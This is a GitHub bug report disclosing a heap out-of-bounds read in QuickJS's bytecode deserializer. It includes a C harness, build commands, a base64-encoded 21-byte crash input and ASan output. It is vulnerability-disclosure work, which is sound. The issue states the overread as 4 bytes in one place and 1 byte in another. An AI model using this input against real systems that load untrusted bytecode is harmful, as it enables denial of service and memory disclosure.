Skip to content

[Bug]Heap-buffer-overflow read in JS_ReadFunctionBytecode atom-fixup loop (get_u32 past the bytecode buffer) (CWE-125) #547

Description

@1820893135-pixel

Describe the bug

JS_ReadObject deserializes a serialized JS function. It copies the attacker-declared byte_code_len bytes of bytecode into a heap-allocated JSFunctionBytecode, then walks the opcodes to rewrite atom operands. For atom-format opcodes (OP_FMT_atom) the loop reads a 4-byte atom index with get_u32(bc_buf + pos + 1) (cutils.h:181) without first checking that pos + 1 + 4 <= byte_code_len. A 4-byte body that is a single atom-reference opcode makes get_u32 read 4 bytes past the end of the 108-byte allocation.

To Reproduce

  1. Clone QuickJS and check out the affected commit:

    git clone https://github.com/bellard/quickjs.git
    cd quickjs
    git checkout 04be246001599f5995fa2f2d8c91a0f198d3f34c
  2. Save the driver below as poc_driver.c and build with ASan:

    gcc -g -O1 -fsanitize=address -I. poc_driver.c quickjs.c libregexp.c libunicode.c cutils.c dtoa.c quickjs-libc.c -lm -lpthread -ldl -o poc_driver

    How the input is interpreted: the first byte of the POC selects the
    JS_ReadObject flag combination (flags_tbl[first_byte % 6]); the remaining
    bytes
    are the serialized bytecode/object stream passed to JS_ReadObject.

/*
 * poc_driver.c - minimal PoC driver for QuickJS JS_ReadObject
 * deserialization bugs. Byte-for-byte mirrors the fuzz harness (harness.c):
 * the first byte of the input selects the JS_ReadObject flag combination,
 * the remaining bytes are the serialized bytecode/object stream.
 *
 * Build with AddressSanitizer against a QuickJS checkout:
 *   gcc -g -O1 -fsanitize=address -I. poc_driver.c quickjs.c libregexp.c \
 *       libunicode.c cutils.c dtoa.c quickjs-libc.c -lm -lpthread -ldl \
 *       -o poc_driver
 * Run:
 *   ./poc_driver <poc.bin>
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include "quickjs.h"
#include "quickjs-libc.h"
#include "cutils.h"     /* FALSE/TRUE */

static int nb_interrupts;

static int interrupt_handler(JSRuntime *rt, void *opaque)
{
    nb_interrupts++;
    return (nb_interrupts > 100);   /* abort runaway scripts */
}

int main(int argc, char **argv)
{
    FILE *f;
    long sz;
    uint8_t *buf;
    JSRuntime *rt;
    JSContext *ctx;
    JSValue obj, val;
    static const int flags_tbl[] = {
        0,                                          /* plain object      */
        JS_READ_OBJ_BYTECODE,                       /* bytecode function */
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_ROM_DATA,/* rom-data aliasing */
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_SAB,
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_REFERENCE,
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_ROM_DATA |
            JS_READ_OBJ_SAB | JS_READ_OBJ_REFERENCE,
    };

    if (argc < 2)
        return 1;
    f = fopen(argv[1], "rb");
    if (!f)
        return 1;
    fseek(f, 0, SEEK_END);
    sz = ftell(f);
    fseek(f, 0, SEEK_SET);
    buf = malloc((size_t)sz);
    if (fread(buf, 1, (size_t)sz, f) != (size_t)sz)
        return 1;
    fclose(f);

    rt = JS_NewRuntime();
    ctx = JS_NewContext(rt);
    JS_SetMemoryLimit(rt, 0x4000000);   /* 64 MB, same as fuzz harness */
    JS_SetMaxStackSize(rt, 0x10000);    /* 64 KB */
    JS_SetInterruptHandler(rt, interrupt_handler, NULL);

    /* First byte selects flags; the rest is the serialized stream. */
    obj = JS_ReadObject(ctx, buf + 1, (size_t)sz - 1, flags_tbl[buf[0] % 6]);
    if (JS_IsException(obj)) {
        JS_FreeValue(ctx, JS_GetException(ctx));
        return 0;
    }

    /* Execute the deserialized bytecode if it is a module/function. */
    if (JS_VALUE_GET_TAG(obj) == JS_TAG_MODULE) {
        if (JS_ResolveModule(ctx, obj) < 0) {
            JS_FreeValue(ctx, obj);
            JS_FreeValue(ctx, JS_GetException(ctx));
            return 0;
        }
        js_module_set_import_meta(ctx, obj, FALSE, TRUE);
    }
    val = JS_EvalFunction(ctx, obj);
    if (JS_IsException(val))
        JS_FreeValue(ctx, JS_GetException(ctx));
    else
        JS_FreeValue(ctx, val);
    return 0;
}
  1. Write the exact 21-byte POC. The base64 string below round-trips to the byte-identical crash input:

    printf 'AQUADAAAAAAAAAABAAAABAAEAAQA' | base64 -d > poc.bin
  2. Run it:

    ./poc_driver poc.bin

    ASan output:

    ==...==ERROR: AddressSanitizer: heap-buffer-overflow ...
    SUMMARY: AddressSanitizer: heap-buffer-overflow .../cutils.h:181 in get_u32
    

    Exit code 1.

Expected behavior

The atom-fixup loop should verify pos + 1 + 4 <= byte_code_len before calling get_u32, and reject bytecode whose operand reads exceed the declared length.

Screenshots

Image

Please complete the following information:

  • OS: Linux x86-64 (Ubuntu 22.04)
  • QuickJS version: 2026-06-04 (commit 04be246001599f5995fa2f2d8c91a0f198d3f34c)

Additional context

  • Deterministic: yes — the same 21-byte input always triggers the ASan report (verified 5/5 runs).
  • Reachability: the public JS_ReadObject(ctx, buf, len, JS_READ_OBJ_BYTECODE) API deserializes attacker-controlled bytecode; JS_EvalFunction then executes it.
  • Severity: medium (1-byte OOB read, DoS + info leak) (CWE-125).
  • CWE: CWE-125.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions